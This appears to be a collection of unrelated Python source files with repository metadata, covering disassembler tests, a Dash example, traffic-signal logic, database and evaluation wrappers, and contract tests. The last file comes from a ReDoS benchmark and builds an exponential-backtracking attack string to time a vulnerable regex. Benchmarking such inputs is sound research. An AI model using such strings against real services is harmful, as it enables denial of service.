u'foo&"b$**a-rXz12%x3ZZ$$9_=+@@' file_ = NamedTemporaryFile(delete=False) file_.close() filename = file_.name write_ical(s, filename) with open(filename, 'r') as f: self.assertEquals(s, f.read()) remove(filename) # main def test_main_abort_on_interrupt(self): ScheduleScraper.__init__ = ctrlC sys.argv = ['edt2ics', 'M2'] self.assertEquals(None, self.exit_code) main() self.assertEquals(1, self.exit_code)
4344d7b0f4c19f27896dd13ab0f65e65e0e64627
7f523c407d45d116860eff67f079e807f2b53339
/src/third_party/beaengine/tests/0f46.py
6ad6b5dec2522c38575bfec34ef1d56a52f05929
[ "LGPL-3.0-only", "LGPL-2.0-or-later", "MIT" ]
permissive
0vercl0k/rp
a352c96bfe3715eb9ce8c5942831123e65289dac
b24e7f58a594aaf0ce3771745bf06862f6ecc074
refs/heads/master
2023-08-30T08:03:14.842828
2023-08-09T00:41:00
2023-08-09T00:41:00
3,554,173
1,557
239
MIT
2023-08-09T00:41:02
2012-02-26T19:26:33
C++
UTF-8
Python
false
false
2,862
py
#!/usr/bin/python # -*- coding: utf-8 -*- # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/> # # @author : [email protected] from headers.BeaEnginePython import * from nose.tools import * class TestSuite: def test(self): # VEX.NDS.L1.0F.W0 46 /r # kxnorW k1, k2, k3 myVEX = VEX('VEX.NDS.L1.0F.W0') myVEX.vvvv = 0b1101 myVEX.R = 1 Buffer = bytes.fromhex('{}46cb'.format(myVEX.c4())) myDisasm = Disasm(Buffer) myDisasm.read() assert_equal(hex(myDisasm.infos.Instruction.Opcode), '0x46') assert_equal(myDisasm.infos.Reserved_.VEX.L, 1) assert_equal(myDisasm.infos.Reserved_.REX.W_, 0) assert_equal(myDisasm.infos.Reserved_.MOD_, 3) assert_equal(myDisasm.infos.Instruction.Mnemonic, b'kxnorw') assert_equal(myDisasm.repr(), 'kxnorw k1, k2, k3') # VEX.L1.66.0F.W0 46 /r # kxnorB k1, k2, k3 myVEX = VEX('VEX.L1.66.0F.W0') myVEX.vvvv = 0b1101 myVEX.R = 1 Buffer = bytes.fromhex('{}46cb'.format(myVEX.c4())) myDisasm = Disasm(Buffer) myDisasm.read() assert_equal(hex(myDisasm.infos.Instruction.Opcode), '0x46') assert_equal(myDisasm.infos.Instruction.Mnemonic, b'kxnorb') assert_equal(myDisasm.repr(), 'kxnorb k1, k2, k3') # VEX.L1.0F.W1 46 /r # kxnorQ k1, k2, k3 myVEX = VEX('VEX.L1.0F.W1') myVEX.vvvv = 0b1101 myVEX.R = 1 Buffer = bytes.fromhex('{}46cb'.format(myVEX.c4())) myDisasm = Disasm(Buffer) myDisasm.read() assert_equal(hex(myDisasm.infos.Instruction.Opcode), '0x46') assert_equal(myDisasm.infos.Instruction.Mnemonic, b'kxnorq') assert_equal(myDisasm.repr(), 'kxnorq k1, k2, k3') # VEX.L1.66.0F.W1 46 /r # kxnorD k1, k2, k3 myVEX = VEX('VEX.L1.66.0F.W1') myVEX.vvvv = 0b1101 myVEX.R = 1 Buffer = bytes.fromhex('{}46cb'.format(myVEX.c4())) myDisasm = Disasm(Buffer) myDisasm.read() assert_equal(hex(myDisasm.infos.Instruction.Opcode), '0x46') assert_equal(myDisasm.infos.Instruction.Mnemonic, b'kxnord') assert_equal(myDisasm.repr(), 'kxnord k1, k2, k3')
b6c2ce08804c66b293ae4e13ba70f17d93dcfbed
5465ed0ea2401a8e70d4bbc0ce1e78ca26813c54
/Dash/example_dropdown.py
432c0e12326a232ef545016451102df8cf8aca00
[]
no_license
josephchenhk/learn
36c49ceb7c8cf8f944ad401b2c7adabf688981a1
b216bb17570e272555e9da475e4c85eb18139c2a
refs/heads/master
2023-09-01T04:22:00.984837
2023-08-20T01:00:01
2023-08-20T01:00:01
178,778,957
0
0
null
null
null
null
UTF-8
Python
false
false
635
py
# -*- coding: utf-8 -*- # @Time : 29/3/2021 3:41 PM # @Author : Joseph Chen # @Email : [email protected] # @FileName: example_dropdown.py # @Software: PyCharm import dash import dash_html_components as html import dash_core_components as dcc app = dash.Dash(__name__) app.layout = html.Div( [ html.H1('Selection'), html.Br(), dcc.Dropdown( options=[ {'label': 'option 1', 'value': 1}, {'label': 'option 2', 'value': 2}, {'label': 'option 3', 'value': 3} ] ) ] ) if __name__=="__main__": app.run_server()
0b6e59dc34a33b978dbcf8b8704dd35cdf33c4d7
f97a38640cce46a0fa4f2e4c05590004cde14d61
/projectTS/modeControl/automaticFlexibleTime.py
d5e522fff3913cae6daf005105a5ec1dae1889c4
[]
no_license
nch101/thesis-traffic-signal-control
bb9dcb43836e69fc4cd5954119b58fe74a03b445
b3bd1676fb2ab440b74d6d7a1846bd4ce6cc4c63
refs/heads/master
2023-08-31T11:29:19.415019
2020-08-17T05:07:10
2020-08-17T05:07:10
249,964,030
0
0
null
null
null
null
UTF-8
Python
false
false
1,102
py
# ** automatic control mode ** # * Author: Nguyen Cong Huy * # **************************** # - *- coding: utf- 8 - *- import projectTS.vals as vals def automaticFlexibleTime(): for index in range(0, vals.nTrafficLights): if index%2: setTimeLight(vals.timeGreenFlexibleNS, vals.timeGreenFlexibleWS, index) else: setTimeLight(vals.timeGreenFlexibleWS, vals.timeGreenFlexibleNS, index) def setTimeLight(timeGreen, timeGreenForTimeRed, index): if ((vals.timeLight[index] == -1) and \ (vals.lightStatus[index] == 'red')): vals.timeLight[index] = timeGreen vals.lightStatus[index] = 'green' elif ((vals.timeLight[index] == -1) and \ (vals.lightStatus[index] == 'yellow')): vals.timeLight[index] = timeGreenForTimeRed + vals.timeYellow[index] + 2*vals.delta + 3 vals.lightStatus[index] = 'red' elif ((vals.timeLight[index] == -1) and \ (vals.lightStatus[index] == 'green')): vals.timeLight[index] = vals.timeYellow[index] vals.lightStatus[index] = 'yellow' else: pass
[ "=" ]
=
c8c2388aacf9a93e788c79f3183bb7a4304a4f40
c6ee7be1479797788dd9f9d3a29c0e76ea020db8
/apscheduler_yqt/MyTestFile/16celery_rabbitmq/01/test.py
9f8dba3fe0e8b813e291b135506fa9d9d5a7a897
[]
no_license
hikekang/apscheduler_yqt
2966e7231fff1f81c4fa4a75459cf638592aae6a
0d30c2ef721b8ffeba98dca6b2441613b4ed608d
refs/heads/master
2023-08-17T05:19:34.345553
2021-09-26T03:21:11
2021-09-26T03:21:11
406,217,786
0
0
null
null
null
null
UTF-8
Python
false
false
272
py
#!/usr/bin/python3.x # -*- coding=utf-8 -*- """ Time : 2021/8/24 14:24 Author : hike Email : [email protected] File Name : test.py Description: Software : PyCharm """ from tasks import add result=add.delay(4,4) print(result) print(result.get())
82750c37529a17c849542e16db8487e588de28bf
5edf9131cfe45f8f901aaed62f6528fc3774df3b
/clevros/primitives.py
7825a022aca00f76abeda9520c47a14231aaef90
[]
no_license
hans/clevr-oneshot
a07147ea4b9a17d3006904f07b2e5d93dbfc97e5
e2aecee1718443714a9aad897bdbe973a974f4b9
refs/heads/master
2021-07-10T00:20:04.831270
2019-02-27T18:16:14
2019-02-27T18:26:24
105,565,520
3
0
null
null
null
null
UTF-8
Python
false
false
9,485
py
from frozendict import frozendict import operator class Event(object): def __init__(self): pass def __eq__(self, other): if isinstance(other, Event): return True return False def __hash__(self): return hash(Event) def __getitem__(self, attr): return EventOp(self, getattr, attr) def __getattr__(self, attr): if attr.startswith("__"): # Avoid returning EventOps when client is trying to access a dunder # method! raise AttributeError return EventOp(self, getattr, attr) def __call__(self): # Dummy method which allows us to use an instance of this class as a # function in the ontology. return None def __str__(self): return "<event>" __repr__ = __str__ class EventOp(object): """ Lazy-evaluated operation on an event object. """ def __init__(self, base, op, *args): self.base = base self.op = op self.args = tuple(args) def __hash__(self): return hash((self.base, self.op, self.args)) def __eq__(self, other): """ Compares two `EventOp` instances. To do lazy equality checks, use `EventOp.equals`. """ return hash(self) == hash(other) def equals(self, other): """ Builds a lazy equality check op. To compare `EventOp` instances, use `==`. """ return EventOp(self, operator.eq, other) def __getitem__(self, attr): return EventOp(self, getattr, attr) def __getattr__(self, attr): if attr.startswith("__"): # Avoid returning EventOps when client is trying to access a dunder # method! raise AttributeError return EventOp(self, getattr, attr) def __add__(self, other): return EventOp(self, operator.add, other) def __sub__(self, other): return EventOp(self, operator.sub, other) def __mul__(self, other): return EventOp(self, operator.mul, other) def __rmul__(self, other): return EventOp(self, operator.mul, other) def __lt__(self, other): return EventOp(self, operator.lt, other) def __gt__(self, other): return EventOp(self, operator.gt, other) def __contains__(self, el): return EventOp(self, operator.contains, el) def __call__(self, *args, **kwargs): return EventOp(self, operator.methodcaller, (*args, frozendict(kwargs))) def __str__(self, verbose=False): if verbose: op_str = repr(self.op) else: if hasattr(self.op, "__name__"): op_str = self.op.__name__ elif hasattr(self.op, "__call__"): op_str = self.op.__class__.__name__ else: op_str = str(self.op) return "EventOp<%s>(%s, %s)" % \ (op_str, self.base, ", ".join(str(arg) for arg in self.args)) def __repr__(self): return self.__str__(verbose=True) class Object(object): def __init__(self, name=None, **attrs): self.attrs = frozendict(attrs) self.name = name or self.attrs.get("type") def __hash__(self): return hash((self.name, self.attrs)) def __eq__(self, other): return hash(self) == hash(other) def __str__(self): return self.name def __repr__(self): return "O(%s: %s)" % (self.name, self.attrs) def __getattr__(self, attr): if attr.startswith("__"): # Don't muck with dunder methods raise AttributeError return self[attr] def __getitem__(self, attr): return self.attrs[attr] class Collection(object): def __init__(self, characteristic): self.characteristic = characteristic def __eq__(self, other): return hash(self) == hash(other) def __hash__(self): # TODO not sure about the semantics! return hash(self.characteristic) def fn_unique(xs): true_xs = [x for x, matches in xs.items() if matches] assert len(true_xs) == 1 return true_xs[0] def fn_cmp_pos(ax, manner, a, b): sign = 1 if manner == "pos" else -1 return sign * (a["3d_coords"][ax()] - b["3d_coords"][ax()]) def fn_ltzero(x): return x < 0 def fn_and(a, b): return a and b def fn_eq(a, b): if hasattr(a, "equals"): return a.equals(b) elif hasattr(b, "equals"): return b.equals(a) else: return a == b def fn_not(a): if not isinstance(a, bool): raise TypeError() return not a ## Ops on collections def fn_set(a): return isinstance(a, Collection) def fn_characteristic(a): return a.characteristic def fn_ax_x(): return 0 def fn_ax_y(): return 1 def fn_ax_z(): return 2 ## Ops on objects def fn_cube(x): return x.shape == "cube" def fn_sphere(x): return x.shape == "sphere" def fn_donut(x): return x.shape == "donut" def fn_pyramid(x): return x.shape == "pyramid" def fn_hose(x): return x.shape == "hose" def fn_cylinder(x): return x.shape == "cylinder" def fn_apple(x): return x.type == "apple" def fn_cookie(x): return x.type == "cookie" def fn_book(x): return x.type == "book" def fn_water(x): return x.type == "water" def fn_object(x): return isinstance(x, (frozendict, dict)) def fn_vertical(x): return x.orientation == "vertical" def fn_horizontal(x): return x.orientation == "horizontal" def fn_liquid(x): return x.state.equals("liquid") def fn_full(x): return x.full # Two-place ops on objects def fn_contain(x, y): if isinstance(x, (Event, EventOp)) or isinstance(y, (Event, EventOp)): return x.contain(y) return x in y def fn_contact(x, y): if isinstance(x, (Event, EventOp)): return x.contact(y) elif isinstance(y, (Event, EventOp)): return y.contact(x) # TODO implement the actual op rather than the lazy comp representation :) return True ## Ops on events class Action(object): def __add__(self, other): return ComposedAction(self, other) def __eq__(self, other): return isinstance(other, self.__class__) and hash(self) == hash(other) @property def entailed_actions(self): """ Return all actions which are logically entailed by this action. """ return [] class Constraint(object): # TODO semantics not right -- subclasses don't take multiple constraints. We # should have a separate `ComposedConstraint` class def __init__(self, *constraints): constraints_flat = [] for constraint in constraints: if constraint.__class__ == Constraint: # This is a composite constraint instance -- merge its containing # constraints. constraints_flat.extend(constraint.constraints) else: constraints_flat.append(constraint) self.constraints = frozenset(constraints_flat) def __add__(self, other): return Constraint(self.constraints | other.constraints) def __hash__(self): return hash(self.constraints) def __eq__(self, other): return hash(self) == hash(other) def __str__(self): return "Constraint(%s)" % (", ".join(map(str, self.constraints))) __repr__ = __str__ class Contain(Constraint): def __init__(self, container, obj): self.container = container self.obj = obj def __hash__(self): return hash((self.container, self.obj)) def __str__(self): return "%s(%s in %s)" % (self.__class__.__name__, self.obj, self.container) class Contact(Constraint): def __init__(self, *objects): self.objects = frozenset(objects) def __hash__(self): return hash((self.objects)) def __str__(self): return "%s(%s)" % (self.__class__.__name__, ",".join(map(str, self.objects))) class ComposedAction(Action): def __init__(self, *actions): if not all(isinstance(a, Action) for a in actions): raise TypeError() self.actions = actions def __hash__(self): return hash(tuple(self.actions)) def __str__(self): return "+(%s)" % (",".join(str(action) for action in self.actions)) __repr__ = __str__ class NegatedAction(Action): def __init__(self, action): if not isinstance(action, Action): raise TypeError() self.action = action def __hash__(self): return hash(("not", self.action)) def __str__(self): return "!(%s)" % self.action __repr__ = __str__ class Move(Action): def __init__(self, obj, dest, manner): self.obj = obj self.dest = dest self.manner = manner def __hash__(self): return hash((self.obj, self.dest, self.manner)) def __eq__(self, other): return hash(self) == hash(other) def __str__(self): return "%s(%s -> %s, %s)" % (self.__class__.__name__, self.obj, self.dest, self.manner) __repr__ = __str__ class Transfer(Move): pass class Put(Action): def __init__(self, event, obj, manner): self.event = event self.obj = obj self.manner = manner def __hash__(self): return hash((self.event, self.obj, self.manner)) def __str__(self): return "%s(%s,%s,%s)" % (self.__class__.__name__, self.event, self.obj, self.manner) __repr__ = __str__ class Eat(Action): def __init__(self, event, food): self.event = event self.food = food def __hash__(self): return hash((self.event, self.food)) def __str__(self): return "%s(%s)" % (self.__class__.__name__, self.food) class ActAndEntail(Action): """ Joins an action with entailments about the event. """ def __init__(self, action, entail): self.action = action self.entail = entail def __hash__(self): return hash((self.action, self.entail)) class StateChange(Action): pass class CausePossession(StateChange): def __init__(self, agent, obj): self.agent = agent self.obj = obj def __hash__(self): return hash((self.agent, self.obj)) def __str__(self): return "%s(%s <- %s)" % (self.__class__.__name__, self.agent, self.obj) __repr__ = __str__
104c925bd6314e637d48b9ae42bec366a68dc578
077c91b9d5cb1a6a724da47067483c622ce64be6
/snapshot_demo_updated_link_failure/interactive_replay_config.py
8829a94407e3072b87c050c553795abd1f1be3a8
[]
no_license
Spencerx/experiments
0edd16398725f6fd9365ddbb1b773942e4878369
aaa98b0f67b0d0c0c826b8a1565916bf97ae3179
refs/heads/master
2020-04-03T10:11:40.671606
2014-06-11T23:55:11
2014-06-11T23:55:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,044
py
from config.experiment_config_lib import ControllerConfig from sts.topology import * from sts.control_flow import InteractiveReplayer from sts.simulation_state import SimulationConfig from sts.input_traces.input_logger import InputLogger simulation_config = SimulationConfig(controller_configs=[ControllerConfig(start_cmd='./pox.py --verbose openflow.discovery forwarding.l2_multi_synthetic_link_failure_crash sts.util.socket_mux.pox_monkeypatcher openflow.of_01 --address=__address__ --port=__port__', label='c1', address='127.0.0.1', cwd='pox')], topology_class=MeshTopology, topology_params="num_switches=3", patch_panel_class=BufferedPatchPanel, multiplex_sockets=True, kill_controllers_on_exit=True) control_flow = InteractiveReplayer(simulation_config, "experiments/snapshot_demo_updated_link_failure/events.trace") # wait_on_deterministic_values=False # delay_flow_mods=False # Invariant check: 'InvariantChecker.check_liveness' # Bug signature: ""
37546155301527fa3625423441749a7d2847e9f0
6a89644ca479e1980b88c768bf868a1422fdee8b
/poptimizer/data/adapters/db.py
0535645631c3afb07276e3d0291c9c74ede11c70
[ "Unlicense" ]
permissive
chekanskiy/poptimizer
82e664c2208b54cac63e0c5dac0680ec038da702
e5d0f2c28de25568e4515b63aaad4aa337e2e522
refs/heads/master
2022-12-20T15:09:40.111678
2020-10-06T17:11:49
2020-10-06T17:11:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,381
py
"""Реализации сессий доступа к базе данных.""" import asyncio from typing import Iterable, Optional, Tuple, Union import pandas as pd from motor import motor_asyncio from poptimizer.data.adapters import logger from poptimizer.data.ports import outer # Коллекция для одиночный записей MISC = "misc" def _collection_and_name(table_name: Union[outer.TableTuple, outer.TableName]) -> Tuple[str, str]: """Формирует название коллекции и имя документа.""" collection: str = table_name.group name = table_name.name if collection == name: collection = MISC return collection, name class MongoDBSession(outer.AbstractDBSession): """Реализация сессии с хранением в MongoDB. При совпадении id и группы данные записываются в специальную коллекцию, в ином случае в коллекцию группы таблицы. """ def __init__(self, db: motor_asyncio.AsyncIOMotorDatabase) -> None: """Получает ссылку на базу данных.""" self._logger = logger.AsyncLogger(self.__class__.__name__) self._db = db async def get(self, table_name: outer.TableName) -> Optional[outer.TableTuple]: """Извлекает документ из коллекции.""" collection, name = _collection_and_name(table_name) doc = await self._db[collection].find_one({"_id": name}) if doc is None: return None df = pd.DataFrame(**doc["data"]) return outer.TableTuple(*table_name, df=df, timestamp=doc["timestamp"]) async def commit(self, tables_vars: Iterable[outer.TableTuple]) -> None: """Записывает данные в MongoDB.""" aws = [] for table in tables_vars: collection, name = _collection_and_name(table) self._logger.info(f"Сохранение {collection}.{name}") aw_update = self._db[collection].replace_one( filter={"_id": name}, replacement=dict(_id=name, data=table.df.to_dict("split"), timestamp=table.timestamp), upsert=True, ) aws.append(aw_update) await asyncio.gather(*aws)
22cb1afffa9f329ebfcbe75c0c93d8c82eaccab7
f13acd0d707ea9ab0d2f2f010717b35adcee142f
/ABC/abc251-abc300/abc291/a/main.py
271121f05c994fc6965d9d50bef5b54640e06764
[ "CC0-1.0", "LicenseRef-scancode-public-domain" ]
permissive
KATO-Hiro/AtCoder
126b9fe89fa3a7cffcbd1c29d42394e7d02fa7c7
bf43320bc1af606bfbd23c610b3432cddd1806b9
refs/heads/master
2023-08-18T20:06:42.876863
2023-08-17T23:45:21
2023-08-17T23:45:21
121,067,516
4
0
CC0-1.0
2023-09-14T21:59:38
2018-02-11T00:32:45
Python
UTF-8
Python
false
false
255
py
# -*- coding: utf-8 -*- def main(): import sys input = sys.stdin.readline s = input().rstrip() for i, si in enumerate(s, 1): if si.isupper(): print(i) exit() if __name__ == "__main__": main()
f4889ab3192e5b2391525b80f2cd647d5ffb097f
61ef327bd1d5ff6db7595221db6823c947dab42b
/FlatData/ScenarioCharacterAction.py
a9f4a598c4032f027b4141bed04cca067ccf7dac
[]
no_license
Aikenfell/Blue-Archive---Asset-Downloader
88e419686a80b20b57a10a3033c23c80f86d6bf9
92f93ffbdb81a47cef58c61ec82092234eae8eec
refs/heads/main
2023-09-06T03:56:50.998141
2021-11-19T12:41:58
2021-11-19T12:41:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
262
py
# automatically generated by the FlatBuffers compiler, do not modify # namespace: FlatData class ScenarioCharacterAction(object): Idle = 0 Shake = 1 Greeting = 2 FalldownLeft = 3 FalldownRight = 4 Stiff = 5 Hophop = 6 Jump = 7
4507b0a0250c6b95f949cf60bfc101f8efbe17ef
17124c2268d7d7b0e9545a1ddaf293a49fafcf72
/seq2seq/evaluation/meteor/meteor.py
4a9c0696a513d24b74e15736ecb66a7501dbe317
[]
no_license
haxzie-xx/code-to-comment
56fadaf3b1be36daf2450159740cbd7d660fa438
5007d96c0e5ced57dcee7485a200a0e0a2c11e7d
refs/heads/master
2020-04-28T15:22:14.721580
2019-03-13T08:35:06
2019-03-13T08:35:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,077
py
#!/usr/bin/env python # Python wrapper for METEOR implementation, by Xinlei Chen # Acknowledge Michael Denkowski for the generous discussion and help import os import sys import subprocess import threading # Assumes meteor-1.5.jar is in the same directory as meteor.py. Change as needed. METEOR_JAR = 'meteor-1.5.jar' # print METEOR_JAR class Meteor: def __init__(self): self.meteor_cmd = ['java', '-jar', '-Xmx2G', METEOR_JAR, \ '-', '-', '-stdio', '-l', 'en', '-norm'] self.meteor_p = subprocess.Popen(self.meteor_cmd, \ cwd=os.path.dirname(os.path.abspath(__file__)), \ stdin=subprocess.PIPE, \ stdout=subprocess.PIPE, \ stderr=subprocess.PIPE) # Used to guarantee thread safety self.lock = threading.Lock() # gts = reference list # res = hypotheses def compute_score(self, gts, res): assert(gts.keys() == res.keys()) imgIds = gts.keys() scores = [] eval_line = 'EVAL' self.lock.acquire() for i in imgIds: assert(len(res[i]) == 1) stat = self._stat(res[i][0], gts[i]) eval_line += ' ||| {}'.format(stat) self.meteor_p.stdin.write('{}\n'.format(eval_line)) for i in range(0,len(imgIds)): scores.append(float(self.meteor_p.stdout.readline().strip())) score = float(self.meteor_p.stdout.readline().strip()) self.lock.release() return score, scores def method(self): return "METEOR" def _stat(self, hypothesis_str, reference_list): # SCORE ||| reference 1 words ||| reference n words ||| hypothesis words hypothesis_str = hypothesis_str.replace('|||','').replace(' ',' ') score_line = ' ||| '.join(('SCORE', ' ||| '.join(reference_list), hypothesis_str)) self.meteor_p.stdin.write('{}\n'.format(score_line)) return self.meteor_p.stdout.readline().strip() def _score(self, hypothesis_str, reference_list): self.lock.acquire() # SCORE ||| reference 1 words ||| reference n words ||| hypothesis words hypothesis_str = hypothesis_str.replace('|||','').replace(' ',' ') score_line = ' ||| '.join(('SCORE', ' ||| '.join(reference_list), hypothesis_str)) self.meteor_p.stdin.write('{}\n'.format(score_line)) stats = self.meteor_p.stdout.readline().strip() eval_line = 'EVAL ||| {}'.format(stats) # EVAL ||| stats self.meteor_p.stdin.write('{}\n'.format(eval_line)) score = float(self.meteor_p.stdout.readline().strip()) # bug fix: there are two values returned by the jar file, one average, and one all, so do it twice # thanks for Andrej for pointing this out score = float(self.meteor_p.stdout.readline().strip()) self.lock.release() return score def __exit__(self): self.lock.acquire() self.meteor_p.stdin.close() self.meteor_p.kill() self.meteor_p.wait() self.lock.release()
3fb6596f25e82ad3306342bc206831a44c1a8f19
16f50a812eca90748e87bfe471e0c05f178337fd
/4to_Semestre/Metodos computacionales/Racket/Actividad 3.4 Final/Examples/example.py
4fb7031bd1d767a5b0850a0aeefe25131ea51227
[]
no_license
SeaWar741/ITC
65f73365762366f56cfbd6d0bc788cd384672d12
5f75716be58ca6e00bcd8dae7546fd19fe37657f
refs/heads/master
2023-02-05T23:25:13.972031
2022-09-29T10:38:32
2022-09-29T10:38:32
205,020,772
4
2
null
2023-01-19T15:28:45
2019-08-28T20:48:35
Jupyter Notebook
UTF-8
Python
false
false
288
py
# Python Program to find the factors of a number # This function computes the factor of the argument passed def print_factors(x ) : print( " The factors of " , x , " are: " ) for i in range( 1 , x + 1 ) : if x % i == 0: print( i ) num = 320 print_factors( num )
b2c14211005aacceb7b237f92d39b72c2fba2218
93ed8dd9576a397912dad7693d63fc081f7651db
/tests/contracts/test_contract_estimateGas.py
24f7f4f3f3524f15111d642ecfcfbe6c4ad24f7b
[ "MIT" ]
permissive
XertroV/web3.py
3cf1a1265aa9225fe0391feb99bf6088ecfd1937
1c6ead0c271da7b648d20dba8c880b76b436a03c
refs/heads/master
2021-01-24T20:25:36.578888
2016-07-16T19:00:10
2016-07-16T19:00:10
64,264,819
0
0
null
2016-07-27T00:46:25
2016-07-27T00:46:24
null
UTF-8
Python
false
false
1,476
py
import pytest from web3.providers.rpc import TestRPCProvider from web3.utils.abi import ( function_abi_to_4byte_selector, ) @pytest.fixture(autouse=True) def wait_for_first_block(web3, wait_for_block): wait_for_block(web3) @pytest.fixture() def math_contract(web3, MATH_ABI, MATH_CODE, MATH_RUNTIME, MATH_SOURCE, wait_for_transaction): MathContract = web3.eth.contract( abi=MATH_ABI, code=MATH_CODE, code_runtime=MATH_RUNTIME, source=MATH_SOURCE, ) deploy_txn = MathContract.deploy({'from': web3.eth.coinbase}) deploy_receipt = wait_for_transaction(deploy_txn) assert deploy_receipt is not None contract_address = deploy_receipt['contractAddress'] web3.isAddress(contract_address) _math_contract = MathContract(address=contract_address) return _math_contract def test_needs_skipping(web3): if not isinstance(web3.currentProvider, TestRPCProvider): pytest.skip("N/A") with pytest.raises(ValueError): web3.eth.estimateGas({}) def test_contract_estimateGas(web3, math_contract): if isinstance(web3.currentProvider, TestRPCProvider): pytest.skip("The testrpc server doesn't implement `eth_estimateGas`") increment_abi = math_contract.find_matching_abi('increment', []) call_data = function_abi_to_4byte_selector(increment_abi) gas_estimate = math_contract.estimateGas().increment() assert abs(gas_estimate - 21272) < 200
31a9497b36cd6a4d54d6959b49c2445df08feb30
0adb68bbf576340c8ba1d9d3c07320ab3bfdb95e
/regexlib/python_re_test_file/regexlib_3613.py
7fbb386b0c1adfa1f8ca79e8518568b2dc33d7fb
[ "MIT" ]
permissive
agentjacker/ReDoS-Benchmarks
c7d6633a3b77d9e29e0ee2db98d5dfb60cde91c6
f5b5094d835649e957bf3fec6b8bd4f6efdb35fc
refs/heads/main
2023-05-10T13:57:48.491045
2021-05-21T11:19:39
2021-05-21T11:19:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
578
py
# 3613 # <(?<tag>\w*|\w*\.+\w*)>+((.|[\n\t\f\r\s])*?)<\/\k<tag>> # EXPONENT # nums:4 # EXPONENT AttackString:"<>"+"\t"*16+"! _1◎@! _1! _1! _1!\n_SLQ_3" import re from time import perf_counter regex = """<(?<tag>\w*|\w*\.+\w*)>+((.|[\n\t\f\r\s])*?)<\/\k<tag>>""" REGEX = re.compile(regex) for i in range(0, 150000): ATTACK = "<>" + "\t" * i * 1 + "! _1◎@! _1! _1! _1!\n_SLQ_3" LEN = len(ATTACK) BEGIN = perf_counter() m = REGEX.search(ATTACK) # m = REGEX.match(ATTACK) DURATION = perf_counter() - BEGIN print(f"{i *1}: took {DURATION} seconds!")